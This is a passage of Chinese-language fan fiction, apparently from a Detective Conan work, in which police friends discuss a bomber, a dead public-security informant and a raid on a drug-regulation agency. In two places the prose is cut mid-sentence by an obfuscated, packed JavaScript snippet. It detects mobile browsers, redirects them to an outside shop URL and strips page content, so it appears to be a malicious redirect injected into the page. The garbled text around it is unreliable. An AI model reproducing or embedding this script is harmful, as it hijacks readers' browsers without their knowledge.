本堂町小春噗嗤一笑:“明明你比我小一岁啊,真弓。你只是五官有些压迫感而已,就是那种靠谱大姐姐的类型。” 星野真弓嘴角一抽:“你这么一说,让我想起当初入读警校的时候,明明我比你们整整一届人都要小一岁,结果大家都喊我星野姐。” 本堂町小春终于忍不住哈哈大笑了起来,她一边擦掉眼泪一边说:“我听说你高中时候还当过不良少女,在警校的时候你也不遑多让。星野大姐头,对吧?” 星野真弓一怔,半晌咬牙。 “请务必告诉我是哪个兔崽子泄漏了这件事,我回头就宰了他。” 知道她高中时候的事的人就没几个,正巧每个都认识本堂町小春。 短发女警摇了摇头,神秘一笑。 “这个啊,是秘密哦。我可是一直很想看看真弓穿着把裙摆改长的水手服狠狠揍晕街头小混混的样子呢,可惜你没留下照片。” 星野真弓扶额:“我们高中是正经高中,怎么可能穿改良水手服。而且我高二就转学来东京了,不良少女只是在大阪有稍微......” 她猛地抬头:“说实话,那根本不能叫做不良少女吧。我只是在帮被欺负的同学解围而已,谁知道那种街头混混这么不经揍!” 本堂町小春似乎打定主意不泄漏告密者的任何一丝信息,果断地转移了话题:“好啦,跟我聊了这么久,你应该放松点了吧。” 星野真弓动作一顿,她微微垂下眼。 半晌她低头将脸埋进手心里,黑发散乱,看不清表情。 “虽然已经不是第一次,但是......研二住院是因为我叫他去参加葬礼,阵平受伤是因为我派他去拆炸弹。一想到他们这么多次和死神擦肩而过,我就会心率过快,还有反胃、恶心,老毛病了。我是不是应该增加预约心理医生的频率?” “......” 本堂町小春静静地看着她。半晌,她微微叹了口气。 “真弓。” “什么?” 本堂町小春眨眨眼:“你这样好像一只露出肚皮的黑猫。” 星野真弓立刻抬头瞪了她一眼。 本堂町小春熟练掌握撩一把就跑的技术,当即拉回话题:“你们是好朋友不是吗?不要以为我不知道你这些年都在做什么高危工作,你受的伤遇到过的意外难道比他们少吗?” 星野真弓没说话。 短发女警继续道:“所以啊,朋友是相互的,你为他们担忧的时候,他们也在为你忧心,你们只是习惯了不说而已,但这何尝不是一种默契呢?” 星野真弓:“......这算默契吗?如果受伤的是你的话,我就会直接告诉你我的烦恼。” “我大学可是学心理学的,你又有轻微焦虑症,只是习惯了向我求助而已,这是属于我们两个人的相处模式。你跟他们共同背负另一些秘密,是另一种相处模式,这不是很正常吗?” 星野真弓抬起头。 她长久地看了从容喝咖啡的本堂町小春一会儿,半晌露出一个笑容:“你说的对,小春,但是你这样笑起来真的超级可怕。” 短发女警挑眉。 她额头被带动时,一缕黑发也被带着移动了位置,露出脑门上一小半漏风的洞,那个洞为她清纯可爱的娃娃脸增添了一丝诡异的残缺美感。 “我现在感觉我就是那些被你洞悉内心的连环杀人犯,马上就要被你举着枪瞄准了。”星野真弓喃喃道。 本堂町小春放下咖啡杯,对着她轻哼了一声:“我不会再举枪瞄准嫌犯了,我马上要升职了。” “升职到警视?” “不,只是我会开始专门带领一个小组。SCAD一开始是参考美国FBI的BAU小组(行为分析部)成立的,到现在快要七年了,我们的人手也早就从三五个年轻人变成了一支训练有素的团队。从下个月开始我会专门带领一支行为分析小组,负责向ICPO提供国际支援。” “警视厅居然同意了?”星野真弓有些意外。 “新上任的刑事部参事官批准的。”本堂町小春一顿,“ICPO一直对BAU小组的模式很感兴趣,但北美嘛,你也明白,治安太美丽,FBI整天忙得脚不着地,我们这边又正好经验足够,警视厅也想借此机会强调一下自己在国际警界的地位。都是些弯弯绕绕的政治游戏罢了。” 星野真弓饶有兴致地一笑:“那你以后会去负责追查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459050|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色通缉令上的逃犯吗?” 本堂町小春挑眉:“那大概要取决于那个逃犯够不够罪大恶极了,我好像从来没追捕过杀人记录低于五人的杀人犯,经济犯罪我也一窍不通,只有连环杀人犯我有充足的经验。” “......” 星野真弓沉默地看了她一会儿,半晌道:“小春,你果然是个可怕的女人。” ...... 对着另一位同期逃避了一顿下午茶,她傍晚的时候终于还是去了医院。 松田阵平其实没受什么伤。 他跳下桥的时候后背被爆炸冲击震了一下,肋骨稍微有些错位,但这对他来说只是小伤而已。其他冲击都被防护服稳稳挡下了。 结果搞了半天,他身上受的最大的伤是因为九月底的冷天里突然跳进水里游泳,身体一下子不太适应,脚踝在水里扭伤了。 结果因为他身体素质好得出奇,就连这点伤都很快恢复了。 星野真弓垂头看了眼他只裹了薄薄一层绷带的脚踝,半晌冷笑了一声。 “我确定了,因为你们两个混蛋特意把小春叫出来免费心理咨询的我是傻瓜。” 坐在病床上的萩原研二伤心地睁大眼:“Mayu酱,你居然说我是混蛋!” 松田阵平嗤笑一声:“你这家伙真是闲得有空,我有哪点需要你担心了?” 萩原研二接话:“就是就是!” 星野真弓和松田阵平闻言立刻转头齐齐瞪了他一眼。 “你闭嘴,只有你没资格说这话!” 萩原研二眨巴眨巴眼睛,果断转移话题:“说起来,柯南君去厕所好像去了很久啊。” 说曹操曹操到,下一刻,小侦探突然推门回来了。 他一边走向病床一边低头沉思着,甚至没注意到三个大人默默注视着他的眼神。 半晌,他才发现房间里有些诡异的安静,疑惑地抬头。 “怎么了?你们怎么都不说话?” 星野真弓咂舌:“柯南君,你真的只有七岁吗?” 小小的身体居然能做出这么成熟的表情,你内心真的只有十七岁吗? 江户川柯南嘴角一抽,刚刚那一瞬间他差点把眼镜都吓飞掉,过了几秒才反应过来星野真弓只是在开玩笑。 “我真的只是七岁的小孩子啦!” 星野真弓从善如流:“那么这位普通的七岁小朋友,请问你对这几天发生的事有什么想法吗?” 江户川柯南看向她身边坐在床沿的松田阵平。 “如果像松田哥哥说的那样,佐佐木公寓的犯人是逃亡到日本的清道夫普拉米亚,那么他为什么要特意设计计时器停止之后依然可以爆炸的炸弹?这不符合他的行为逻辑。” 松田阵平忽地轻哼一声。 “那不是特意设计。”他冷声说,“倒计时停跳之后突然重新开始进入爆炸进程,不是因为炸弹是这么设计的,而是因为当时有人手动引爆了炸弹。” “他有机会同时引爆另外四个,但他只引爆了我负责拆除的那个。为了将我卷进来,他专门打电话给了我提示。他当时肯定就在那座桥附近旁观我拆弹。” “他想要杀死的人是我。” 24. 第二十四章 “三年前新宿某栋废弃大楼,曾经发生过一起‘煤气泄漏事故’。这起事故最后没有造成任何人伤亡,警方提前疏散了周围民众,封锁了整座大楼。”松田阵平一顿,“这是对外公布的事实。” 江户川柯南一愣,他忽然意识到松田阵平这是在兑现几个小时前的承诺——告诉他爆炸案的真相,以及犯人的身份。 他不禁瞥了一眼靠在一旁的星野真弓。 穿大衣的黑发女人正垂眼看着手机,不知道在跟什么人发消息,似乎根本没注意他们在说什么。 ——小兰不可以旁听,她却可以吗? 他没有暴露内心的思索,眨着眼流畅地接上松田阵平的话。 “实际情况呢?” “实际上当时废弃大楼里出现了一个已经被启动的炸弹。” 松田阵平不知从哪抽出来一份资料扔给他,“幸运的是,当时有四位警察在场,其中包括我和Hagi。” 某种程度上的不幸——杀伤力巨大的液体炸/弹毫无预兆地出现在东京都市区。 某种程度上的幸运——废弃大楼刚好来了两位前拆弹警。炸弹犯把炸弹装好没多久就被发现了,现场还留着他的工具,两位前拆弹警连工具箱都不用找。 十分钟后,江户川柯南愣愣地听完了整个故事。 “所以,你们认为当时的那个炸弹犯和佐佐木大介公寓爆炸案的犯人,就是曾经的俄罗斯清道夫普拉米亚?” “他使用的炸弹太有标志性,日本境内至今没有出现过其他案例——除了佐佐木大介的公寓。公安在现场发现了残留的液体反应,经过化验证实和当年他在废弃大楼里留下的炸弹一模一样。”松田阵平面无表情道。 江户川柯南眉头一皱,意识到这才是佐佐木大介的案子被移交到公安手里的真实原因。 “既然如此,他今天又为什么突然改换作案手法开始使用塑/胶炸弹?” “到现在为止还没有找到确切的证据证明东京环状线上的炸弹是他所为,作案手法也和他的习惯不一样,要么普拉米亚与此无关,要么他在其中扮演了其他角色。东京环状线的犯人对我个人的报复情绪太强烈,所以我直觉是后者。”松田阵平道。 江户川柯南不奇怪他对自己直觉的信赖。 经验丰富的警察有时候会有神乎其神的精准预感,这并不是超能力,而是办案多年的经验在大脑潜意识中留下的警报器在滋滋作响。 这种经验带来的直觉在侦探身上也有异曲同工之妙,江户川柯南的大脑同样经常冒出各种精准的判读。 他看得出来在现阶段纠结普拉米亚和东京环状线炸弹案的具体联系是无用功,当即转换话题。 “普拉米亚之所以想要对你下手,应该是因为佐佐木大介公寓楼的炸弹没有成功炸死第一个上门的人,这使得他注意到了萩原哥哥,从而回想起了三年前的耻辱。”他冷静道。 “萩原哥哥现在在医院不好下手,你却依旧是实打实的警察。普拉米亚发现了你的行踪,所以他故意打电话告诉你那个提示,猜到你作为前拆弹警一定会亲自去拆除炸弹,准备趁着你拆弹成功后松懈的时候按下起/爆器,没想到却被你逃过一劫。” 说到这里,他忽然一愣。 “对了,松田哥哥,萩原哥哥,三年前在场的那四位警察,除了你们之外,另外两个人呢?” 萩原研二看着小孩一本正经担心的眼神,忍不住噗嗤一笑:“他们俩的话没什么好担心的。” “诶?” 松田阵平挑眉:“一开始跟我上楼查看的那个家伙现在在国外。伊拉克、罗马尼亚、伊朗、巴西、西班牙、意大利,你能想到的乱七八糟人群混杂的地方那家伙全都去过,普拉米亚找不到他的。” “......那另一个呢?” 松田阵平面不改色:“死了。” “三年前,殉职了。” 江户川柯南一怔。 松田阵平抬手抽走小侦探手里的资料。 “这个看完了吧?看完了我就拿走了,告诉你普拉米亚的身份已经是违反保密规定了。” 江户川柯南怔怔地看着他。三年前......废弃大楼被发现炸弹是三年前十一月,那个警官岂不是解决炸弹之后没多久就去世了? 曾经鲜活的可以一起开怀大笑的朋友,转眼就成了棺木里一具冷冰冰的尸体。松田阵平和萩原研二看上去很平静,但面对亲朋好友的离世,怎么可能有正常人不难过? 另外一位警察呢?现役警察不可能放着工作不干整天周游世界,他已经不当警察了吗? 他抿了抿嘴,避开两位青年内心的伤口,利索地转移话题。 “那么身为普通人的佐佐木大介为什么会突然被普拉米亚盯上?松田警官,他是不是还有别的身份?” 说话间,他不禁又瞥了一眼靠墙而立的星野真弓。 …… 江户川柯南还得乖乖回家吃饭,赶在天黑之前离开了医院。 目送小侦探从病房离开,星野真弓忽然想到什么,转头对松田阵平一挑眉。 “说起来,你们俩之间的交易,应该是你告诉他普拉米亚和佐佐木大介的身份,他就告诉你为什么他觉得普拉米亚''正在经历某种内心的震荡,或者他不是心甘情愿把炸弹放在那的’对吧?” 她似乎觉得有些好笑:“你是不是忘了找他兑现承诺了?” “……” 松田阵平正在收资料的手微不可见地一僵,下一秒他一扯嘴角。 “星野真弓,你该不会在这里装了窃听器吧?” 给他叫到名字的女人毫不心虚地眨眨眼。 她穿着一身半正式的白衬衫和大衣外套,领口微微敞开着,露出锁骨上一条银色的细链,在九月底的天气里似乎根本不怕冷。 她收到炸弹消息的时候还在警察厅,等到松田阵平解决完炸弹了,她才终于穿过堵得水泄不通的东京都市中心高架桥回到医院。 和某些人不一样,星野真弓是个正常司机,遵守交通法,没法把跑车开出高达的气势,碰上堵车也只能乖乖认命。 她有恃无恐地摊手:“谁说的,我是那种人吗?” 萩原研二挑眉:“我怎么记得某些人跟我说过,以前跟你吵架的方式就是先约训练场打一架,再互相装窃听器以示尊重?” 松田阵平似乎想到什么,无语地瞥了她一眼:“然后谁先把所有窃听器找出来,谁就宣布吵赢了。” 星野真弓面不改色地摊手:“我怎么会做这种事?我只是普通28岁女性哦。” “……” 松田阵平冷笑一声。 “所以呢,装窃听器的目的?” 星野真弓耸肩。 “我正在对那位少年侦探的才能和性格做深入评估,所以窃听器不是装在病房,只是装在他身上罢了。说实话,我还挺难过他到现在都没发现自己的手机耗电过快,看来反追踪意识还是不太够。” “而且,我的工作范围里好歹有一项是[零]组的人事管理,选拔人才是我的职责。” 她抬起眼,饶有兴致地透过窗户看向江户川柯南走出医院的背影。 “佐佐木大介的事情是怎么回事,我心里已经大概有数了。但是你们不好奇吗?那个少年,他究竟能做到什么程度。” 松田阵平沉默着看了她一会儿,半晌轻哼一声,“果然,你是故意的吧。” “嗯?” 萩原研二从善如流地接过幼驯染的话。 “你借口小阵平的权限带柯南君去警视厅,特意暴露我们和你之间的私人关系,然而再怎么好的朋友,让一个现役公安警察随随便便给你警官证、让你旁听机密信息还是太过了。” “今天你确实是从警察厅开完会才过来医院的,但是只要你愿意,肯定有一万种方法提前换掉身上偏正式的衣服。” “三年来你表面身份的伪装都算无遗策,这几天却突然开始露出点破绽给他看,你想试试看他能不能猜到你的身份?” 曾经的王牌拆弹警最引以为豪的不是卓越的社交能力或者亲和力,而是极其敏锐的洞察力。 对于萩原研二来说,即使他视力受损戴了副眼镜,想看穿一个人的内心也依旧不费吹灰之力。 星野真弓对此心知肚明,忍不住为他难得的锋利露出微笑。 “你们觉得他能找到正确答案吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459051|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 松田阵平平静地移开视线望向窗外,“你还是先想想该怎么跟他解释你对他的特殊待遇吧。” 以江户川柯南的谨慎,他真的不会怀疑为什么这三个大人愿意跟他一个小孩子分享案件信息吗? 星野真弓挑眉:“我倒是更想看看他会做出什么反应呢。” 她侧过头看了眼夕阳西下的天空。 “合法违法权这件事,还真是舍不得对着天真单纯的小孩和盘托出啊。” …… 疾驰的滑板在街沿边发出轻磕地面的声音,江户川柯南轻车熟路地跳出一个Ollie,紧接着收起滑板踏入阿笠博士的家。 他大概真的运动天赋不错,足球能踢到校队队长、指哪打哪,滑板没学几个月,看起来也已经十分有模有样了。 不过,他更多将运动看作一种成为名侦探的修行,称不上有多喜欢。 阿笠博士正坐在电脑前忙碌着什么,江户川柯南一边低头思考,一边慢吞吞地走到沙发旁坐下。 垂头抱着本书的灰原哀一撩眼皮:“怎么了?” 被她的声音从思考状态拉回现实,江户川柯南抬起头,瞥到灰原哀手里的书,蓦地一愣。 “你在看列夫·托尔斯泰?” 被他问到的灰原哀慢条斯理地翻过一页:“准确来说,是列夫·托尔斯泰的短篇小说集。” 那本书明显被看过不止一遍了,江户川柯南扫了一眼书上被反复翻动过的痕迹,一脸古怪地看了她一会儿。 “灰原,你居然是喜欢俄罗斯文学的类型啊。” “……?” 灰原哀终于抬头挑眉,“阿啦,不可以吗?” 江户川柯南摇头:“我一直以为你会更喜欢英国文学那样更优雅的、或者更有逻辑的、更反叛浪漫的,而且你应该是英日混血吧?” 灰原哀面无表情地看了他一眼。 江户川柯南干巴巴地解释:“……你读英文学术词汇的时候有淡淡的英国口音,所以我猜测你出生在有英国人的家庭,口音不重则是因为在美国或者别的英语地区长大。” “美国的生物化学科研领域和研究型大学更先进,所以你应该是在美国的名校留学,研修完毕之后才回日本……灰原,你这样看着我我很害怕,我猜错了吗?” 灰原哀收回盯着他的视线,继续低下头看书。 “你猜得没错,我母亲有英国血统,但是英国文学?算了吧,我只是单纯地喜欢现实主义。” “冷天、冻土、波斯毛毯前蜡烛的绰影,沉默古怪的妻子和按部就班的丈夫,地下室人的病态孤独,得体人生背后是临死前的终悔*,不觉得俄罗斯文学很适合我这样的人吗?” 江户川柯南默然。 灰原哀似乎比他想得更悲观。平心而论,身体缩小的女科学家平时生活起居确实都挺优雅,泡咖啡的手艺很好,有时候聊起天,她对时尚科技政治之类的话题也信手拈来,教养得体,处变不惊,几乎完全看不出被组织控制的影子。 但果然,深入过黑暗的人和普通女孩之间到底有着本质的差别。 不过,这种差别不是不好的、不是害人的,只是让她变得更锋利、更深刻、更现实,有时候也更悲伤。 无论如何,他希望她能更有活力一点,不然从组织逃出来和待在里面又有什么区别呢? 这时茶色头发的女孩忽然又开口:“而且,我喜欢思考死亡。工藤君,你不喜欢思考死亡吗?” 名侦探一愣,“……那是在破案的时候吧?” 灰原哀叹气:“托尔斯泰是死亡文学的大师,有机会你可以看看。不过,我猜像你这样对某种事物满怀热诚的人,应该不会有同样的烦恼吧?” 她似乎清楚江户川柯南在担心什么,一转话题,“所以呢,你今天是来做什么的?” 名侦探立刻严肃起来,他神情认真的时候有一种执拗的魅力。这种魅力源自他被镜片遮挡的钻蓝色眼睛,那是一种无关乎性别年龄的智性之美。 “灰原,你知道佐佐木大介这个人吗?” 灰原哀抬眼投来一个问号。 江户川柯南:“他是公安警察的协助人,一个医药监测员。” 25. 第二十五章 “他上个星期死在星野真弓的摩托车修理店,你还记得吗?” 灰原哀眨眨眼:“好像是有这么回事,但是你当时没告诉我死的是谁。所以,他是公安的协助人,然后呢?” 江户川柯南皱眉:“灰原,你很熟悉公安的协助人制度吗?” 灰原哀面不改色地垂着眼:“我曾经在犯罪组织的控制下生活,提前了解出路很正常吧?FBI的证人保护计划我也研究过,但是比起隐姓埋名,能在公安保护下继续发挥我的长处当然更有意义。” 江户川柯南也只是随口一问,闻言点点头。 “佐佐木大介在药品与医疗器械管理局(PMDA)的新药审查部门任职,PMDA主要负责新药品从临床研究、注册审查到上市整个过程的科学审查,他有权限获取日本境内几乎所有准备上市的新药、制药企业和研究所、新药上市后续监测的相关资料。” “公安警察也是因为这个原因邀请他当协助人的。” 灰原哀一愣,似乎有些明白他想说什么了。 “……难道他的死亡原因没那么简单?” 江户川柯南摇头:“他被杀害的案件已经被公安部重新检查过,如果凶手有其他动机应该瞒不过公安的,但现在都快走到检方提告的阶段了,这起案件可能真的就是阴差阳错的意外。” “问题是佐佐木大介死前曾经在自己家里留下暗号,好像预知到自己有危险、需要提前传递什么消息一样,而前来他公寓安装炸弹销毁痕迹的又是专业杀手,连同他潜在的同伴都想要一起毁灭。” “听上去他似乎握住了什么人的把柄,幕后黑手才这么迫不及待。”灰原哀说。 江户川柯南点头:“没错!但这就是问题,他是个药品监测员,无论他知道了什么,跟药品有关的东西都是最有可能的。灰原,你觉得这件事跟那个组织有关的可能性有多大?” 灰原哀一愣,露出有些古怪的表情。 “从事医药研究的犯罪团伙应该不止组织一个吧?” 名侦探摇摇头:“你不明白,这是侦探的直觉。” 灰原哀无奈叹了口气。 “好吧,名侦探的直觉,然后呢?” “灰原,我需要你告诉我,你对那个组织的医药研究到底了解多少?”江户川柯南面露焦急。 “他们如此急切地想要找到佐佐木大介藏起来的东西,那不可能是什么普通的把柄,而且现在还有个目的不明的炸弹犯在外面乱晃,我们却没有任何线索寻找他的藏身之处,事态很紧急!” 灰原哀凝眉:“三个月前叛逃组织之后,我和他们的一切联系就被切断了,在那之后发生了什么我一无所知。” “在那之前呢?” “在那之前,我可以大概告诉你组织进行科学研究的基本人员结构。” 灰原哀顿了顿,“我是负责日本4号研究所的研究员,我不清楚那个实验室的具体位置、不知道实验室的完整结构,我在实验室的权限有且仅有能够支撑我完成研究的那一部分。” “但是,组织总不会是因为我的名字*才管它叫4号实验室的吧?所以我一直猜测,组织在日本应该至少还有三个大型实验室,配备跟我那个实验室不相上下的专业研究设备和天价器械。” “名侦探,你应该知道这意味着什么吧?” 江户川柯南沉着脸点点头。 日本的医药器械和各大研究所的合格性检查同样是由厚生劳动省和PMDA共同进行的,只不过负责器械这部分和佐佐木大介任职的并不是一个部门。 要想在日本境内悄无声息地建立那么多大型研究所,黑衣组织背后的财力、人脉、扎根在政府和执法机构内部的触角之深都强大得无法想象。 很多科研设备可都价值上千万甚至上亿,有些在全世界范围内都没有几台,能够支撑宫野志保研究APTX4869这种药物的犯罪组织,到底是什么规模,什么背景? “我负责的研究跟细胞端粒酶再生有关,简单来说就是通过医学手段实现永生不死,虽然现在只有杀死细胞比再生细胞还快的毒药,但长生不老确实是组织的其中一个研究目标。”灰原哀平静道。 “除此之外,在我有限的了解里,组织应该还在进行和成瘾性药物、精神控制、克隆技术、数字生命等等领域相关的研究,其中一部分在现在的科学界甚至还没讨论出普世的伦理规范,但犯罪组织不会在乎这个。虽然我没见过,但想必人体试验也不是不可能存在。” 她神色凝重地抬头。 “名侦探,无论佐佐木大介掌握的东西跟其中哪个有关,都足够他死上成千上百回了。他那天就算没有被谋杀,也可能会因为各种各样的意外死去。” 江户川柯南沉默。他清楚灰原哀说的是对的。 但是,佐佐木大介冒着生命危险留下的线索,他无论如何都不想放弃。 “除此之外我只知道组织的每个分部应该都有自己的负责人。比如你见过的琴酒,虽然我不知道他的具体职位,但他常年待在日本,在这里的权限很高,对组织为了敛财扩张而进行的一系列犯罪活动都有一定的掌控权。” “他当然也负责抓捕卧底、惩处我这样的叛徒,但即使是琴酒也无权过问组织的科学研究,不然现在坐在你面前的我已经是一具尸体了。”灰原哀面无表情道。 江户川柯南:“那科学研究的负责人是谁?” 灰原哀摇摇头:“我没见过。” 她垂下眼:“组织在日本境内至少有四个明面上合法的大型研究所,虽然在我叛逃后,4号研究所应该已经被战略性放弃或者转移了,但是你想过没有,日本有四个,全世界范围会有多少个?” 江户川柯南一愣。 灰原哀握紧拳头,一字一句道:“我不知道他的身份、不知道他的性别、长相、年龄、经历,我从来没有跟他对话过,除了他的代号,我对他一无所知。” 她似乎终于下定了决心,抬起眼:“香槟(Champagne)。他的代号是香槟。” 细腻的气泡、绵密的口感、醇正的果香,享誉世界的派对之王,无色清透的香槟酒。 其背后却可能潜藏着悄无声息的致命毒素。 江户川柯南一怔,忽然意识到自己已经出了一身冷汗。 ...... 晚饭最后是在阿笠博士那吃的。 江户川柯南赶着回米花町主要是想跟灰原哀通个气,他的临时监护人小兰姐姐管得没有那么严,他因此得以偶尔溜出去跟其他小伙伴一起吃饭。 舀着灰原哀帮博士做的咖喱饭,名侦探还在继续思索。 灰原哀却突然道:“江户川,你是怎么知道佐佐木大介是公安协助人的?你跟公安警察有联系吗?” 江户川柯南一愣,半晌点点头。 “萩原哥的幼驯染松田阵平是公安警察,我之前一直都不知道。” 灰原哀一撩眼皮:“你没跟他们说你身体的情况?” 名侦探动作一僵,半晌叹了口气,“我还没想好,而且我也不确定把他们卷进来是不是对的,组织的事情......” 他还在继续纠结,茶发女孩忍不住一抽嘴角:“名侦探,你是傻子吗?” “哈?” “你觉得一个现代国家的最高执法机构,会对隐藏在自己国家内部的黑暗势力一无所知吗?”灰原哀挑眉。 “而且,他们都已经知道找佐佐木大介这种医药领域的人探查境内的研究所了,按你的说法,佐佐木大介为他们工作应该也有些年份了吧,他们会不知道组织的存在?” 说是这么说,但其实她自己之前也一直没想过原来公安和其他执法机构都对组织的存在有所了解。 在她成长的过程中,组织一直扮演着那个一手遮天、目无法纪的最高主宰,以至于她有时候对社会结构的认知都不太准确。 直到碰上一个FBI卧底、现在又脱离组织、和公安交谈过关于组织的信息之后,她才后知后觉地意识到原来执法机构一直暗中盯着组织,甚至对组织的了解超乎她的想象。 这种了解在很多方面被体 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“当时他的一个同学被人堵在实验室里拿剧毒化学药品威胁,他放学后正好路过,很生气,冲了进去。他阻止了他同学被霸凌,那帮人就开始霸凌他。” “他事后跟老师说过自己为什么冲进去,一是因为他看不下去同学被欺负,二是因为他无法接受有人用化学这么美好的东西做这种事。” “他上大学之后参加的社团是化学犯罪研究社,专门讨论化学如何被运用于犯罪以及如何检测出各种化学犯罪。公安在PMDA里找合适的协助人时看了他当年为社团写的文章,觉得这是个很有正义感的人,所以才开始跟他接触,之后几年他把协助人的工作也做得很好......” “灰原,这样一个人,为什么拿到组织的某种把柄之后,有时间留下暗号,却没时间直接告诉公安?” 灰原哀眨眨眼:“......他不信任公安?” 江户川柯南飞快道:“另外还有一件事,他前女友曾经提过他每周都会去那家摩托车修理厂。他是摩托车发烧友,这很正常,星野真弓说他来定制戒指,这也很合理。但是现在我们知道摩托车修理厂的萩原研二跟公安警察关系密切,佐佐木大介又是公安的协助人,你觉得他去那里到底是为了干什么?” 灰原哀知道他现在不需要自己真的回答什么,干脆闭上嘴等他说完。 江户川柯南:“佐佐木大介成为公安协助人是为了践行正义,但如果和他合作的那些人,变得不正义了怎么办?” 灰原哀嘴角一僵,半晌:“你是在暗示松田阵平是组织的人?公安警察的名声确实不太好,但是......” 名侦探摇摇头:“不一定,公安警察里也分上下级、也分不同的负责方向,不是只有松田警官一个人。而且现在松田警官也被组织的成员盯上了,组织会把自己在警察系统里埋的钉子搞得那么显眼吗?我觉得不是他。” “虽然不是松田警官,但是肯定存在那么一个人,跟公安警察有接触、认识佐佐木大介,或者干脆他就是个公安警察......” 江户川柯南忽然抬头。 “灰原,你觉得有可能是星野真弓吗?” “??” 名侦探语速飞快,信誓旦旦。 “你想吧,她替萩原研二遮掩佐佐木大介的协助人身份时还特意拿出个戒指蒙混警察,她肯定是佐佐木大介身份的知情人,但说不定对执法公正性没什么敬畏心。” “而且仔细想想,萩原研二和松田阵平都是她认识的人,他们接连遇袭,她最方便动手了。” 灰原哀已经不想再说什么了,她签了保密协议,什么都不能说,而且就算没签,她也完全懒得接这位大侦探的话。 如果星野真弓是组织派到警方的卧底,那佐佐木大介可能真的连暗号都没法留下就会惨遭灭口,顺带一提,她跟姐姐坟前的草现在应该得有两米高了。 半晌,她终于忍不住翻了个白眼。 “行了,你说什么就是什么吧!” 26. 第二十六章 就在灰原哀无语地想赶紧吃完饭回实验室一个人待着的时候,江户川柯南突然话风一转。 “不过,仔细想想,她应该不是那种人,如果她是组织的人,我现在就该对着琴酒的枪解释我是怎么变小的,而不是在这跟你讨论佐佐木大介了。” 灰原哀额头上差点爆出青筋,半晌,她终于忍不住恶狠狠道:“你还没忘掉你那个‘如果星野真弓是组织的人那么她肯定扫一眼就能知道你是工藤新一’的假设啊?” 名侦探心虚地挠挠脸蛋。 “哈哈哈,我是真心这么认为的……而且她绝对已经有所察觉了吧,反正肯定知道我不是普通小孩子。”不然怎么可能愿意带着他夜闯警视厅? 他抬头一笑:“不过,灰原,你还是活泼一点比较好,刚刚提到组织的时候你脸色也太差劲了。” 灰原哀一愣:“哈?” 没等她反应过来,江户川柯南又把话题转了回去:“总而言之,可以肯定的是公安内部有组织的人,就是不知道松田警官他们是否已经察觉了。” 定定地望了她几秒,灰原哀平静地移开视线:“谁知道呢?” …... 这天是个阴雨天。 松田阵平坐在他那辆黑色雪弗兰SUV的后座,看着窗外的天气轻轻啧了一声。 他戴着那副眼熟的墨镜,依旧穿一身黑西装,因为天气转冷了,还在外面披了一件同色的大衣。SUV车身宽敞,他的存在感却强到无法忽视,一个人镇住了整辆车的空气。 前座两个警视厅的年轻公安战战兢兢。他们也是工作训练中成绩出色才被提拔上来的,但突然让他们独自面对站在整个国家警察系统顶点的警察厅还是多少有些不安。 特别是这位警察厅公安自从上了车,就浑身上下散发着一副不好惹的气息。 不好惹的公安懒得搭理这两个小年轻,兀自低头掏出烟盒,往嘴里塞了根烟。 他低头看了眼手表确认时间无误,随即干脆利落地开门下车,旁边适时伸来一只打伞的手。 松田阵平从衣兜里翻出打火机,火光在伞下一闪而过,照亮了墨镜后垂下的眼睫。 给他打伞的公安是他的下属之一。 “都准备好了,警部。” 松田阵平点点头,一言不发地大步向前走去。 他脚踝昨天刚受了伤,这会儿却已经完全看不出异常了。 数十把黑色的大伞顿时一起向前涌,黑压压的穿西装的公安跟在他身后踏进这栋大楼,远远望去像一群雨夜里的乌鸦。 大楼前厅等着PMDA新药审查部门的部长。他刚刚才接到上级通知匆匆赶来一楼,迎面就撞上一大帮黑/道似的公安警察,差点以为这栋楼的地界要开始交保护费了,现在正紧张地抄着手帕擦拭额头上的汗。 站在最前头那个穿大衣的黑/道少、不,是卷毛警官看到他,面无表情地点头,伸手从大衣口袋里掏出一张纸。 “……这是?”新药审查部长止不住地冒冷汗。 “搜查令。”松田阵平把那张纸拍在他胸口,兀自取下烟,平静地扫了一眼整个前厅,又伸手拍拍部长的肩。 “你们部门的所有人都会被带走问讯,走之前麻烦帮我们把这里的文件资料整理一下,一起带走。” “这…警官先生,我们部门所有人都要?” 部长本以为只有自己被问话的事,猛一听见这个消息差点吓晕过去,“能不能向我透露一点到底发生什么事了?” 松田阵平轻笑一声,就要越过他往前走。 黑压压的公安顿时准备继续往前涌。 部长见情况不对,立刻拎着那张搜查令,小跑两步把他拉住。 因为松田阵平气势太吓人,他只敢伸出两根手指捏住他的衣袖一角,那点力道基本是杯水车薪,卷毛公安却好脾气地停下了。 他转过头,难得十分有礼貌。 “还有什么问题?” 部长紧张得反胃,但还是强撑着质问:“到底是怎么回事?谁签发的搜查令?PMDA是受厚生劳动省监管的,我们这里有很多机密资料,上面知道你们这么横行霸道吗?你是哪个部门的,我要问责你们领导!” 松田阵平面无表情地看了他几秒,忽然伸手抽出部长手里捏着的那张纸,举到他面前。 “你认识这个签名吗?” 部长只认得字,不认得人:“星…星野健一?” 松田阵平忽地一笑:“现任警察厅厅长也叫星野健一,您说巧不巧?本次搜查行动由国家公安委员会授意、警察厅厅长亲自签署搜查令,您没有权利拒绝。现在公安够格进尊贵的厚生劳动省大门了吗?” 部长猛地一怔。 